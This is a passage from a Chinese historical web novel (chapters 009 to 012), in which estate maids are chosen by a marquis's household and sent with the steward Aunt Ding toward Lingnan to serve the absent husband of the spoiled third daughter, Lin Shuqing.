金葵见云莺丝毫没意思到问题的严重性,更愁了。忍不住便拍了云莺一下,说道,“三姑娘被父母硬压着与姑爷成了亲,心里肯定有气,想来也不会好好和姑爷过日子。姑爷也是天子骄子,哪里会上赶着讨好姑娘?这夫妻俩啊,八成别扭着呢。你这被送过去,姑爷不牵罪你们已经是脾性好了,指望姑爷恩宠你们,想来也不可能。” 她听说姑爷已经出发去任地了,这若是她们随姑爷一同出发,指不定路上还能培养点情分出来,让姑爷多怜惜几分。如今么,不被原道送回来,已经是万幸了。 金葵长吁短叹,云莺闻言面上也露出来愁色——其实她心里并没有很愁,毕竟她至今都做着白日梦,想要趁机逃跑。 两人面对面愁了一会儿,云莺转移话题问道:“昨天怎么回事儿?湘灵怎么也过来了,她是顶替了香兰么?” 云莺唏嘘着说,“她看着就胆小怯懦的厉害,把她送进王府能保住命么?” “担心她,你倒不如先担心你自己。”金葵露出个意味深长的表情来,“昨天湘灵就站在你身后,刘妈妈要选人往王府送时,你站出来了,湘灵也站出来了。” 见云莺拧着眉头,一脸不敢置信的模样,金葵继续放大招,“昨天香兰和陈平的事儿被爆出来,湘灵就在第一时间瞒着众人去找了刘妈妈。也不知道她与刘妈妈说了什么,这之后她就代替了香兰。” 金葵轻笑,“你想不到吧?其实我倒不太意外。能在庄子上活到现在的,没几个是心思简单的。湘灵再是表现的懦弱可欺,可在庄子上这么几年,你见谁占过她的便宜。她啊,藏的深着呢。” 云莺很是震撼的睁大眼睛,一副听到了天方夜谭的模样。 金葵见状,忍不住继续指点她说,“以后遇到这样纯洁无害的‘小白兔’,你可一定避的远远的。这样的人外表可欺,可真动起真格来,她能要你的命。” 云莺良久后呼出一口气,“我知道了。那挽碧呢?”挽碧认了陈妈妈当干娘,陈妈妈和陈平都被关起来等候发落了,挽碧没受牵连么? “她受什么牵连?她不过是识人不清,没有看透陈妈妈和陈平的为人罢了……” 云莺的世界观再次受到冲击。 这一次,她沉默了许久许久,才在金葵的注视中,长长的吐出一口气,道了一声,“我知道了……” 这还只是一个庄子上的姑娘,就有这么多心思算计,有这么多手段较量。如今她走出庄子,遇到更多的人,以后更该留个心眼,该更加谨慎才行。最起码,千万要保住了这条小命。 两人说着话,时间就过的很快。还没感觉时间流逝呢,就见采莲一脸笑意的走了进来说:“两位姑娘,该去给夫人请安了。” 云莺和金葵登时不再说什么,赶紧起身收拾好了自己,随后跟在小丫鬟身后出了门。 秋宁已经在院内等着了,见云莺和金葵一道过来,她轻笑着说:“早知道两位姐姐在一处说话,我就过去凑热闹了。” 金葵丢出一句,“你不是和湘灵关系最好?她如今就在同一个院子住着,你若闲的无聊,过去寻她说话不就是了?” 秋宁闻言只笑了笑,却没有回话。 她往日里是和湘灵最好,看在湘灵懵懂怯懦的份儿上,她也愿意多照顾她几分。可自从湘灵背着人偷摸去寻了刘妈妈,她就知道,她以往被蒙蔽了双眼,看错人了。 湘灵不是没主意的小姑娘,相反,她主意正着呢,心也大着呢。那姑娘心里藏着猛虎,她可不敢再和她接近,不然什么时候被她吃了都不知道。 趁着其余姑娘还没过来,金葵问采莲套话,从采莲哪里得知,三姑娘也从婆家回来了,如今正在侯夫人屋里陪着说话呢。 这话一出,秋宁嘴一抿,整个人肉眼可见的紧张起来。 她条件反射看向云莺,却见云莺一脸若无其事的模样。 不由纳闷的问道:“姐姐不紧张么?” 不早不晚,三姑娘偏就在今天,在这个时候,回了娘家陪侯夫人说话,那真正目的究竟是为了什么,动动脚指头都知道。 一想到这是未来的主母,秋宁浑身紧绷,好似马上要去打一场硬仗。 云莺见秋宁如临大敌的模样,轻轻开口说:“还好,不是太紧张……”似乎觉得这话太死板了,她又加了一句,“能伺候三姑娘固然是我的福分,不能也没关系,等下次机会就是了。” 左右现在陈妈妈和陈平也被发落了,她就是被退货回庄子上,也没什么可忧心的。 仔细一想,若此时回庄子上,竟然再好不过。到时候她就有了充足的时间,为逃跑做准备,也能将之后的路该如何走,想的更清楚明白些。 当然,走到这一步,再想回庄子上也难了。毕竟就像她方才说的,不管是侯夫人还是三姑娘,到底要给刘妈妈几分颜面。刘妈妈亲自挑的人,若不是有明显的瑕疵,断不会被送回去。 出神的空挡,院子里诸位姑娘已经到齐了。 众人跟在采莲身后往外走。 走了不多长一段路,在一处走廊处换上了一个嬷嬷领路。 老嬷嬷面上都是纹路,头发梳的板板正正,一根头发丝都不带凌乱的。她看着很是严肃,眯着眼扫了扫身后貌美如花的姑娘们,冷沉沉的说了一句,“都跟上来,路上不要东瞅西望,看准了你们脚下,别摔破了相。” 众人好似被给了个下马威……不过倒是都听话的垂下脑袋,再不敢四处打量了。 穿过两道走廊,三个拱门,周围的景致越来越惊艳,路上碰上的来来往往的丫鬟婆子们越来越多,可不仅不见嘈杂,四周反而越发安静。 该是快到侯夫人的居所了…… 云莺这么想着,忍不住微微松了一口气。可随后她们竟又走了半柱香功夫,才在一处院子外停了下来。 那嬷嬷与看门的婆子打招呼,云莺诸人却是不着痕迹的拿起帕子,擦起头脸上的汗水来。 如今将入六月,天气热的不行。尽管现在天色还早,空气中还有几分清凉,可耐不住她们走了足有一个时辰的路,腿都要走断了,身上更是连里衣都汗湿了…… 出神的空挡,之前带路的嬷嬷已经交代他们随看门的婆子进去。 众人赶紧行礼,而后老老实实的跟在看门婆子身后,走进了侯夫人的院子。 009 难缠 侯夫人正在劝说女儿淑清,让她去姑爷外放的地方照顾姑爷。能培养些夫妻情分固然是好,即便不能,好歹怀上个孩子。 可惜林淑清完全不将这些话听在耳里,反倒摆出一副厌烦的模样来,她很不耐烦听母亲说这些教导人的话。 该好好的和夫婿过日子,该早些留个子嗣傍身,这些难道她不知道么? 可陈宴洲不是她的意中人,她也不得陈宴洲的喜欢,她们两个能做到不相看两厌都难,如何还能同床共枕、孕育子嗣? 林淑清想想陈宴洲那副冷冰冰的模样,不由烦闷的撇撇嘴。 别说她不愿意,就算她真拉下脸来去求个子嗣,想来陈宴洲也不会给她。 她们两个啊,相看两厌。 林淑清不耐烦的说:“娘,您也心疼心疼女儿吧。女儿自出生受过的最大的罪,就是上年中元节落水。那次险些要了女儿半条命,这还是在您跟前,女儿都差点没了,让女儿跑到千里之外的地方去,您舍得么?您就不担心女儿到时候把命丢那里,您连女儿最后一面都见不着?” 林淑清口不择言,侯夫人却听不得她说这些话。 一想到女儿中元节浑身湿漉漉的被人送回来,高烧了三天三夜才苏醒,她至今都心惊肉跳。再一听女儿说把命丢在岭南,侯夫人差点被吓得魂飞魄散。 平日里再是端庄稳重的侯夫人,此时也有些慌乱。她拍打着林淑清的胳膊,严厉的瞪着她,“你小孩儿家家,胡扯什么乱七八糟的东西?菩萨别听她小孩儿家家的胡话,她是不懂事,瞎胡闹的,菩萨可千万保佑我的清儿平平安安、健健全全的,回头信女给您塑金身。” 拜了菩萨,侯夫人又瞪着不知天高地厚的小女儿,“再敢胡说八道,看我不打断你的腿。” 林淑清不情不愿的妥协,“知道了,女儿以后再不说了还不行么?不过娘您也别逼我去岭南了,那穷乡僻壤的,我真吃不了那个苦。” 话都说到这份儿上了,侯夫人如何还敢威逼女儿,只能恨铁不成钢的点了她一指头,“你啊,以后有你后悔的时候。” 林淑清见侯夫人松口,高兴的什么似的。她抱着母亲的腰不住的撒娇,“就知道娘最疼我了,娘对我最好了。” “你啊,除了撒娇卖痴,还会做什么?”话说的嫌弃,可侯夫人面上的表情却一片怜爱。 仔细想起来,淑清说的又何尝没有道理?她一个金尊玉贵的娇娇女,要去岭南吃苦受罪——岭南那是人待得地方么? 就是些身强体壮的男人,到了那边也有扛不住倒下的。就更别提她这从小养在富贵窝里的女儿了。 到底是女儿的性命重要,还是未来的外孙重要,侯夫人心里一清二楚。 当下只能再叹一口气,无力的说,“不去就不去吧,娘按你说的,让刘妈妈从庄子上给你挑了几个安分的姑娘来,你看看可能入眼?若是还看的过去,就赶紧把他们送往岭南去。” 姑爷的任命下的急,他走的也匆忙。算算时间,如今出京快半个月了。再不赶紧将人送过去,回头姑爷收了那边人的孝敬,将来还得女儿为难。 侯夫人这话说出来,林淑清混不在意的撇撇嘴,“我为难什么,我才不在意呢。若不是不想让我婆母往陈宴洲身边塞人,我甚至都不打算送人去伺候他。” “你这孩子,怎么什么话都说?”侯夫人又瞪了她一眼,“那到底是你婆母,不管人前人后,该给她的敬重不能少。你给我听好了,以后可不敢胡言乱语了。不然你说习惯了,说漏了嘴,今后那府里可没你的容身之地了。” 林淑清再次撇嘴,侯夫人这次却不纵着女儿了,严厉道:“你记住了,就这一次,下次再敢让我听你说你婆婆的不是,你就给我跪祠堂抄经书去。” “知道了,我以后再不说了还不行么?”林淑清扁着嘴巴,“我也就在您面前说一说,我还是知道分寸的。” 就在侯夫人还想继续教训女儿的时候,门外传来小丫鬟的通报声,“夫人,几位姑娘过来给您请安了。” 侯夫人登时不再说什么话,而是拉着女儿,让她在旁边坐好。 刘妈妈这时候也不装隐形人了,她见那尊贵的母女俩终于收敛了情绪,这才喊了声,“都叫进来吧。” 云莺几人恭敬的垂着首看着地面,规规矩矩的进了室内,老老实实的给侯夫人见了礼。 侯夫人打眼扫过诸位姑娘,因为垂首的缘故,倒也看不清她们的面容。不过庄子里的姑娘容颜都不差,她们规矩也学的好,最起码大面上能过的去。 侯夫人道:“都起来吧。” 云莺几人这才应了是,缓缓站起身来。 “都抬起头来我看看。” 云莺几人再次应“是”,俱都抬起了头,眼睛却不敢直视侯夫人,而是看着侯夫人颈下的位置。 不过就刚才抬头那一撇,也足够云莺等人看清楚侯夫人的容貌了。 侯夫人实际年龄已四旬有余,可看容貌,她也不过三旬左右的样子。 她头发梳成堕马髻,脸上神情平静无波。她着莲青色双秀缎裳,头上也只一支点翠嵌宝大发钗。明明是再普通不过的装扮,可她通身的气势太过威严端庄,那双眸明明只是云淡风轻的扫视过来,可却让人脊背一凉,似是浑身都起了鸡皮疙瘩。 云莺诸人的呼吸,一时间都放的轻轻的,神态也更恭敬了一些。 众人沉默的任由侯夫人打量,也就是此时,坐在侯夫人身侧的,容貌艳丽、穿着奢靡,神情骄蛮的小妇人开口了。 这该是府里的三姑娘了。 她长相与侯夫人有五分相似,倒是花容月貌的一副好皮相。可她眉头上挑着,嘴唇轻抿着,看人时微眯的双眸中带着打量与鄙夷,看起来就不是个易于的主。 林淑清问道:“那几个是要送到荣国公府的?” 侯夫人没说话,顾自端起旁边的茶盏喝起茶来。 刘妈妈赶紧笑着上前两步,点了云莺三人。随后才笑盈盈的对林淑清说:“就这三人,分别唤云莺、木槿、秋宁。姑娘看是否合眼缘。若您不喜欢,奴婢再给您挑别的去。” 林淑清就说:“合不合我的眼缘有什么关系,这人也不是要留到我跟前伺候的。她们是要送到姑爷身边的,只要合姑爷的眼缘就行了。” 刘妈妈被噎了一把,僵立在原地。 侯夫人很不赞同女儿说话这么阴阳怪气,觉得她失了侯府贵女的体面。 林淑清素来无法无天惯了,母亲瞪她她也不疼不痒。 她继续带着挑剔的眼光看云莺三人。可云莺清冷若仙,秋宁看面相就温婉贤淑,木槿玲珑小巧,看人时小意温柔……总归各有各的好。 林淑清轻哼一声:“你叫云莺?”她问云莺说,随后又看向木槿,“你叫木槿?” 云莺和木槿俱都提起了心,上前一步,俯首恭敬的应声“奴婢云莺”“奴婢木槿”。 林淑清仔细看着她们,“木槿花清冷优雅,黄莺鸟娇小可人,依我看,你们俩的姓名起错了,互相换一换倒是更好。” 屋内一时静寂下来。 若是换做寻常人,这时候为了在主子跟前讨巧卖乖,指定就响亮的应下林淑清这要求了。可木槿胆子是真小,一时间被吓得“奴婢,奴婢”个不停,奴婢了半天也没说出来,“姑娘觉得好,那奴婢以后就叫云莺了”这句话,反而惹得林淑清更加厌烦,斥责了一句,“行了,不想改不改就是了。” “奴,奴婢……”木槿脸色都涨红了。她是想改的,夫人说让她改,她肯定改啊,可夫人不等她把话说完。 林淑清跟撵苍蝇似的挥挥手,让她们赶紧下去。 侯夫人似看出来,女儿的厌烦不止是因为木槿的口吃,似乎还有些别的什么原因,只她自己却没意识到。 侯夫人就试探的问道:“不如……这三人就不送了,你过去照顾姑爷?你和姑爷是夫妻,想来姑爷嘴上不说,心里却也盼着你过去。” 云莺眼皮抬了抬,木槿的手掌攥紧了,而秋宁,似乎不经意间略往前挪了半步。 云莺只做没看见这些画面,继续垂首听上边的母女俩说话。 林淑清原本心里还有点不得劲,可听母亲提议不送人,她心一慌,又不乐意了,心里那点不舒坦也立马烟消云散。 她怕母亲反悔,就急不可耐的说,“送,怎么能不送,人都选好了。”又一脸委屈的看着侯夫人,“娘,您竟然还想让我去岭南,我到底是不是您亲生的?您一点都不心疼我,您说话不算数!” 侯夫人头疼的捂住头,“我真是上辈子欠了你的!行了,你不想去就不去吧。倒是这三人,你若想送,就赶紧送去。不过人得从荣国公府往外送,直接从侯府将人送去姑爷哪里,这不像话。”事情没这么办的,那太不讲究,也太不体面了。 陈淑清闻言破涕为笑,缠着侯夫人又撒起娇来。 这之后就没云莺三人什么事儿了,侯夫人又仔细看起金葵四人来。 陈淑清见状也好奇的盯着那四人。 她方才听母亲说,这几个是要送到昭阳王府的。至于为何往王府送人,母亲却没告诉她,不过她也不关心就是了。 云莺七人很快就被打发了出来。 一出正房,外边的热气迎面扑来,一时间就跟进了蒸房似的。 方才屋里有冰盆,诸人进去后有多舒服,如今出来就有多遭罪。 鉴于天气实在太热,怕晒中暑了,也怕将自己白嫩的肌肤晒黑了,几位姑娘谁也没顾得上多说话,出了侯夫人的院子,就脚步匆匆往昨晚居住的院子赶去。 010 荣国公府 在侯夫人与林淑清哪儿过了明路,又得了午膳后随三姑娘离开的消息,云莺几人都忙碌起来。 其实也不用怎么忙碌,毕竟他们的行李有数。况且他们只在这边住了一晚,行李都没怎么打开,收拾起来也容易。 金葵站在一边看着云莺忙活,“你这一走,咱们之后怕是就没见面的机会了。” “人生那么长,这事儿谁又说得准呢。”云莺道,“你保住性命,咱们之后指定还能再见。” “我肯定保好我自己这条命,只是你,岭南那边的境况怕是不太好,你过去了万望保重。” 其实金葵是想劝云莺,多带些药物在身上,但想也知道这事儿很难办。 一来,她们身上都没有银两。仅有的一点值钱之物,也不过是庄子上得来的首饰。 可那些首饰大多是镀金镀银的,再不就是成色不好的玉饰,真就是面上看着光鲜,实际上根本换不来几个银钱。 况且,即便首饰能换钱,她们也出不了门…… 金葵蹙着眉头,思绪一把一把的。 为云莺烦恼过,她又为自己忧心起来。 云莺去往姑爷那边的目的很简单,就是为了替不在跟前的三姑娘伺候姑爷的。 可他们呢,她们又是因为什么原因,才被送往王府的? 不管因为什么,讨好王爷、得王爷看重总没有错。可若是知道侯府往王府送人的目的,对她在王府立足不是更有利? 可惜,这不是他们该知道的事儿,即便打探也打探不出什么来。 心不在焉的用了午膳,又歇了晌,三姑娘便要回夫家了。 云莺、木槿、秋宁三人,与庄子上的其余姑娘作别,随后又跟在之前领路的嬷嬷身后,往前院走去。 到了前院,又经角门出了侯府,就看见外边候着两架马车。 三姑娘与伺候的大丫鬟,自然坐在前头,至于后头那辆,自然是为她们三人准备的。 刘妈妈亲热的招呼她们,“快上去吧,不好耽搁三姑娘的时间。” 云莺三人点点头,一时也顾不得打量侯府的门楣是多么威严雄武,却是赶紧上了马车,安稳坐着去。 等这两架马车陆续出发了,伺候着刘妈妈的小丫鬟才“哎呀”一声惊叫出来。 “怎么了?”刘妈妈问她。 “妈妈,您昨天给云莺姑娘寻来的古琴,落在房间忘拿了。” “那张古琴啊……”刘妈妈不以为意道:“既然忘了,就忘了吧。之后一路奔波,随身带着这么个玩意也是劳累。” 小丫鬟不解的看向刘妈妈,怎么就劳累了呢?这之后肯定有人特意服侍这三位姑娘的,粗活杂活肯定不用他们做,带张琴哪里就劳累了? 不过在刘妈妈身边这么久,小丫鬟再笨也明白了一个道理,那就是不该问的千万别问,知道得越多,死的越早。 小丫鬟安静下来,刘妈妈看着走远的马车,心中却不由唏嘘一声。 那张古琴她自然是没忘的,只今天她被三姑娘落了脸面,又得知三姑娘许是心里是有姑爷的,那她还敢给云莺送琴么? 这事儿三姑娘现在不在意,以后呢? 但凡以后三姑娘对姑爷多上两分情谊,再想起给姑爷送人的事情,怕是就会悔断肠。 作为亲自挑选三个姑娘回来的人,她本来就落不了好,而若是她再给云莺送琴,不成了她和云莺沆瀣一气、故意给她添堵了? 这个罪名若是扣在她脑袋上,她这辈子都完了。 别看夫人现在重用她,可若是姑娘在夫人面前告她一状,夫人是向着自己的女儿还是向着她? 结果显而易见。 刘妈妈能活到现在,最主要是会自保,第二才是忠心。 是以,那把古琴别说送了,她提都不会提。 *** 马车碾过街上的青石板,走了足有半个时辰才到了荣国公府。 云莺几人被一直跟在林淑清身后的婆子先带走,林淑清则是先去婆婆哪儿说一声她回来了。 别看林淑清在娘家混账,在婆家却收敛许多。 这不,最起码大面上她就从未出过错,可见对人对事她心里也是有一杆秤的。 说起荣国公府,就不得不提一提现如今当家的小冯氏。 既然说是小冯氏,那前头肯定还有大冯氏。 大冯氏是小冯氏的嫡亲姐姐,两人一母同胞,关系亲近要好。 当初大冯氏与年轻的荣国公一见钟情,再见倾心,很快缘定三生,互许鸳盟。 可惜,两人有缘成亲,无缘相守。 大冯氏在生产后血崩,香消玉陨。 荣国公痛极哀极,在三年后续娶了大冯氏的同胞妹妹,也即是如今的小冯氏。 要说荣国公也是长情之人,他原是不准备续娶的,可无奈儿子年幼,母亲又仙去。家中无人操持中馈,儿子也无人照料。最后,在与岳家商议过后,迎娶了小冯氏进门。 小冯氏心疼姐姐遗脉,将之视如亲生。为防有了亲生子会忽略继子,直到继子年满十岁,才孕育了自己的子嗣。 可因长姐从小对自己疼爱有加,小冯氏即便有了亲生子,也从未慢待过继子,甚至对待继子,比对自己的亲生儿子还要多上心几分、多关爱几分。 如此境况下,对进门的世子夫人,小冯氏也是喜爱有加,委以重任。 反倒是林淑清…… 别看是她嫡嫡亲的儿媳,可许是因为林淑清骨子里隐藏着轻慢,许是小冯氏胳膊肘往外拐,凡事并没有太过明显的偏向自己,因而,明明是嫡嫡亲的一对婆媳,见了面却只有面子情罢了。 林淑清想着婆婆的不是,噘着嘴不情不愿的进了荣欣堂。 荣欣堂中正欢声笑语。 可等林淑清进了花厅,那笑声却戛然而止。 林淑清见状更加不高兴了,可她却不能和个小孩儿一般见识,只做没发现这情况一般,慢吞吞的给小冯氏福了福身。 小冯氏让她起身后,林淑清到底是气不愤,不免看向侧首坐着的雍容华贵的大嫂,以及一脸玉雪可爱的侄女陈善华。 林淑清勉强扯出一个僵硬的笑,她问陈善华说,“善儿方才笑什么呢?你也和婶婶说一说,若是婶婶高兴了,回头将从娘家拿来的布料分你一匹。” 陈善华被教养的很好,闻言先是恭敬的给林淑清行了个礼,奶声奶气的唤了一声“婶婶。”继而才说,“善儿不要婶婶的布料,善儿有很多布料,婶婶的布料留着自己做衣裳穿。” 她模样白嫩可爱,说话憨里憨气,穿一身雪粉色夏裳,花苞头上还缠着两对玲珑别致的珠串铃铛。她一动,铃铛就叮铃作响,衬得她整个人愈发精致可爱,就跟观音坐下的小童女似的。 小冯氏和世子夫人见状,面上都忍不住露出疼爱的神色。反倒是林淑清,闻言面色僵了僵,好似被驳了脸面,落了她的体面似的。 而在林淑清看来,陈善华未免太没教养了。 她问她为何笑的高兴,她却只拿布料说事儿。小小年纪就知道顾左右而言他,心思深沉可见一斑。 林淑清心里不高兴,面上就带出几分来。世子夫人见状,不知道她又发哪门子邪。 不过对此她也见怪不怪了,毕竟这个弟妹进门半年,她多少也摸清了她的脾性,说句不好听的,那真就是个骄蛮乖戾、不知好歹的。 世子夫人自来是个讲究人,从不在背后说人是非,更不会在面上让人难堪。尽管她非常看不惯林淑清的言行,但这到底是母亲嫡嫡亲的儿媳。哪怕是看在母亲这么些年来,一直对她不薄的份儿上,她也不好让林淑清没脸。 世子夫人就开口说:“弟妹别惯着她,她小人家家的,衣裳却已经装了几个大箱笼了,可不敢再给她布料了,否则她定然又要缠着绣娘给她做衣裳。她正在长身体的年纪,一身衣裳穿不了三五次,那能这么抛费啊。” 小冯氏闻言却道:“咱们府上就这一个嫡出的姑娘,不惯着她惯着谁?善儿若喜欢,让人做去就是。只是她叔母的布料,是亲家贴补给自己女儿的,却不好转手给她。善儿若真想做衣裳,届时我拿上几匹给善儿就是了。” 世子夫人又说了几句,“母亲平时已经很偏着善儿了”“可不敢把善儿惯坏了”“做再多衣裳她也不知足,可不能养成她这个习惯,一季做上三五身已经尽够了”的话。 婆媳两个你来我往,说的其乐融融。 她们倒也没有孤立林淑清,反倒有意无意的将话题抛给她。可林淑清自觉被落了颜面,又懒得和他们一道做戏,就硬是装作没看懂他们的意思,僵硬的坐在旁边喝起茶来。 时间长了,世子夫人也无奈了。 她看向婆婆,小冯氏就给她使个眼色,世子夫人就借口善儿的功课还没做完,带着女儿提前离去。 011 安排人手 等这娘俩离开了荣欣堂,小冯氏这才开口问林淑清,“你母亲身体可还好?” 林淑清点头,“母亲身体健康无忧。” 两人扯了几句闲篇,林淑清这才开口说起了正事儿。 她先是唤了一声“母亲”,待小冯氏应了后,林淑清才继续道:“母亲也知道,我这身体不争气,受不得一点劳累。岭南距京千里之遥,我有心与夫君一同前往,却苦于身体病弱,担心到了岭南不仅帮不上夫君,反倒给夫君添了麻烦。” 小冯氏轻叹一口气,想起远去的儿子,心里俱是感伤,可这感伤却不好在儿媳面前表现出来,因为儿媳不会与她共情。 小冯氏只说,“娘知道你的意思,娘也体谅你的难处。娘之前也问过二郎,他也不欲你跟着奔波,想让你在京城荣养。” 林淑清低着头扁着嘴,心里冷笑,嘴上甜蜜,“夫君体贴,是我愧对夫君的一片拳拳爱护之心。只夫君心疼我,我却不能对夫君的处境视之不理。娘,我这厢特意选了几个合适的人,想要托娘送到岭南去。” “送人?”小冯氏蹙眉看向林淑清,“你是说,你给二郎选了几个伺候的丫头?” 小冯氏秀美白净的面庞上,一时间不知道该做出什么表情来。 小冯氏容貌只能称得上秀美,比起她惊才绝艳的姐姐来,她多有不足。可她秉性宽和,无欲无求,也不和人起纷争,言而总之一句话,就是心很宽。心宽了,她整个人就很显年轻,不管是与世子夫人还是林淑清坐在一起,不像是婆媳,反倒如姐妹一般。 但这般平和无争的小冯氏,听到妾室、通房之流,也忍不住蹙眉。盖因为还在娘家时,因为父亲有一宠妾,她与娘和姐姐没少吃苦头。 还是姐姐和荣国公成了亲,她和娘的日子才好过起来。 但那几年吃过的苦、受过的奚落、遭遇过的冷待,她从没忘过。这就导致,小冯氏“谈虎色变”。 鉴于此,她在世子与世子夫人成亲后,从没插手过他们夫妻俩的事儿。即便世子夫人进门后三年无所出,她也没给继子房里塞人;甚至还在荣国公急着抱孙子时,让他再耐心等一等,以免坏了儿子与儿媳的情分。 她没想给继子房里塞人恶心人,更不想往亲生的儿子房里塞人。 即便她不满意林淑清,可同为女人,她和她娘曾经吃过的苦,她不想让林淑清再吃一次。 小冯氏就提醒说:“天高皇帝远,你不在二郎跟前守着,就怕那些丫头生了不该有的心思。” 林淑清却没觉得婆母这是在好意提醒自己什么,她只以为,婆母这还是在隐晦的表达,自己不跟夫君同去她略有不满。 但再不满又如何,她打定了主意不去,她就不会去。 林淑清道:“母亲的顾虑儿媳也有,只是,到底是夫君更重要些。不管是迎来送往,还是夫君的日常起居,总要有人看着,我们才能放心。再来,只是送几个丫头过去伺候,又不给名分,即便他们有做大的心,只我与母亲不肯点头,想来那些丫头再能闹腾也没用。” 更别说,那三个丫头的身契都在她手里捏着。真让她没脸了,回头提脚卖了她们,保准让她们连一句求饶的话也说不出。 小冯氏看见了林淑清面前的冷色,一时间捏紧了手中的帕子。她不知道究竟该可怜林淑清好,还是可怜那些即将被送去的丫头好。 她沉默许久,最终也只是说了一句,“既然你已经决定好了,那就把人送过去吧。” 林淑清这时候又知道卖乖了,“人是我挑的,我觉得还能看过眼。只是儿媳到底年轻,也没见过几个人,这几个人母亲要么帮我掌掌眼,确定都是心思干净的,咱们再往夫君那边送?” 小冯氏只说,“你的眼光我是相信的,你说心思干净,想必那几个丫头就不是坏的,直接送去就行。” 此时小冯氏也想明白了,这几个丫头,八成是长安侯夫人帮着挑选的。不然也不能这么巧,这儿媳回了一趟娘家,就带着这么几个人回来。 既然长安候夫人经了手,就再没有什么不放心的。毕竟这世上有再多人盼着你不好,但绝对还有你母亲盼着你好。 如今需要担心的,也只有一个问题,那就是:将长安候府看好的姑娘送到儿子身边,这些姑娘不会变成监视儿子的人么?若他们定期给长安候回复儿子在公事上的动向,会给儿子带来麻烦么? 小冯氏是个心思简单的,她想不通的问题,就拿来问荣国公。 荣国公五官冷肃,面有薄须。他已是不惑之年,可身躯依旧笔挺高大,目光也依旧幽深锐利。 荣国公年轻时,就是京城颇负盛名的美男子。如今他已到不惑之年,可除了身上的威严与日俱增,他本人却不见苍老几分。依旧是那般硬朗俊美的容颜,让人痴迷又敬畏。 小冯氏虽与他做了二十年的夫妻,可还是不太适应他身上强悍的气势,与他说话时,也多是垂着首的。 夜深了,小冯氏一边伺候夫君将衣衫脱下,一边与他说了往儿子那边送人的事儿。 荣国公听明白了她的忧心,冷声道:“他若连这点事儿都需要我为他操持,他也不配做我的儿子了。” 这话小冯氏不爱听,可惜她是个懒的,也素来不敢与荣国公争执什么。因而,也只抿着唇没说话。等荣国公进了净室去沐浴,小冯氏却收拾收拾顾自睡去了。 她是个心大的,那点不愉快她已经懒得计较,可她也不想搭理荣国公了。等荣国公再次回到内室,便见她已经睡熟了…… *** 翌日一早,云莺几人起身后用了早膳,便等来了丫鬟的传唤,让她们三个收拾收拾去荣欣堂。 荣欣堂是国公夫人的居所,此时让她们过去,自然是国公夫人要瞧瞧她们妥不妥帖。 事实也确实如此。 小冯氏原本是不见这几人的,可昨晚做了一夜噩梦,梦见她的二郎去了岭南后水土不服,险些把小命留在那里。 他府上没个伺候的妇人,只有四个从小一起长大的小厮跟随着。可大男人家伺候人难免疏漏,她的二郎为此受了大罪。 荣国公夫人今早一起身就魂不守舍,最后还是决定看看这三人如何再说。若她们还算周全她就不掺和了,若还是一团懵懂孩子气,她免不得要再派个人跟过去。 云莺几人到了荣欣堂时,就见林淑清已经在了。 她正和小冯氏说:“我也是担心她们没经过事儿,到时候帮不上忙反添乱。是以儿媳左思右想,还是决定将儿媳身边的瑞珠也一道送过去。” 瑞珠是个沉默寡言的丫头,虽是林淑清身边的大丫鬟,但却是四个大丫鬟中最不出挑、也最沉默的那一个。 她容貌平平,只是有一手算账的本事,且对主子忠心,便一路高升,升到了大丫鬟的位份上。 小冯氏疑惑的看向瑞珠时,瑞珠赶紧从椅子后边绕过来,冲着小冯氏福了福身。 小冯氏见这丫头规矩极好,就纳罕极了,“她是你的得用丫鬟,若送去二郎哪里,你这边可还凑手?不能因为二郎委屈了你,不然二郎回来要怨我了。” 林淑清笑呵呵,“我身边丫头多的是,走了一个瑞珠,我再提拔别的就是。娘别为我担心,还是夫君那边更重要一些。” 两人说着话的功夫,云莺三人就进了门。 小冯氏待几人行过礼后将人叫起,三张芙蓉面登时就映在了眼前。 任是小冯氏见惯了美人绝色,此时也不免怔神。这几个姑娘的容貌未免太出挑了,淑清将人送过去,真就不怕她们得了宠,以后二郎再离不得她们? 小冯氏看看林淑清,林淑清却一副浑不在意的模样。这情况,要么就是林淑清确信自己能拿捏住着三个,要么就是对她的二郎不在意。 小冯氏轻呼一口气,简单问了两句,就将三人打发走了。 一时半刻哪里能看清一个人的为人呢?就像是她,也是等这个儿媳进了门,才看清了她身上的种种不妥。可惜,人已经进了荣国公府的大门,后悔无用了。 小冯氏最终还是决定,送个老人到陈宴洲哪里去看着,但话不能说这么直白,怕林淑清再多想。只说是此去岭南几千里之遥,要有个老人看顾着几位姑娘她才放心。 老人经的事儿多,也会照顾人,路上这些姑娘有个头疼脑热不舒服,老人也能拿个主意照应几分。 最后定了小冯氏身边的丁姑姑跟着一道去。 这位丁姑姑早先也是小冯氏身边的大丫鬟,她不愿意成亲,便自梳做了小冯氏身边的管事姑姑。她是个有本事的,管事也有条理,有她看着,出不了差错。 林淑清满心不愿意,只推辞,“娘身边离不得人,管家的事儿重,丁姑姑若走了,就没人替你分忧了……” “无碍,如今家里的事儿你嫂嫂都已经上手了。即便真有事儿要忙,这不是还有你么?你嫁过来也有半年时间了,家里的事儿你也可以帮衬着管起来了。” 这话可戳中了林淑清的心窝子,林淑清矫情的应下来,便也同意了丁姑姑跟着去岭南的事情。 012 在路上 因为要送几个大活人过去,且这些大活人还都是些娇滴滴的姑娘家,就要尽可能安排妥帖的人手护送。且也是过去一趟,免不得要给二爷捎带些衣衫鞋袜,吃的用的东西。 事情说来简单,不过三两句话,但真做起来,却忙了三天才将所有东西都准备好。 三天过后,用过早膳诸人就准备离京了。 小冯氏自然是舍不得丁姑姑的,可她更惦记儿子,就忍不住一再嘱咐丁姑姑说,“劳你到了岭南后,再待个一年半载,看看这几个姑娘究竟如何,若当真是好的,你再回来。” 丁姑姑就说,“奴婢都省得,夫人您就放心吧。”又插科打诨安小冯氏的心,“话又说回来,二爷也是奴婢看着长大的,他这次要做父母官了,奴婢且要看他在岭南站稳脚跟再回来。二爷如何威风,奴婢回来也跟夫人学一学。” 小冯氏闻言就笑了,忍不住就应了一声“好。” 众人拜别小冯氏,小冯氏目送着诸人离去,神色渐渐变得沉默。 反倒是林淑清,此时由衷的松了一口气。 这件事终于告一段落了。 她给陈宴洲送了人去,也算是尽了本分,以后谁也别再拿这件事说事儿。 事情得到完美解决,林淑清本该开心的,可不知为何,她心里依旧紧巴巴的不得劲,好似被人狠狠拧了一把,那滋味酸酸的、涨涨的,让她整个人也难受起来。 但她终究也没有反悔,只怔忪的看着众人的身影消失在眼前。 云莺几人俱都坐上马车,往津南渡口行去。 从津南到杭城,再从杭城到岭南府。 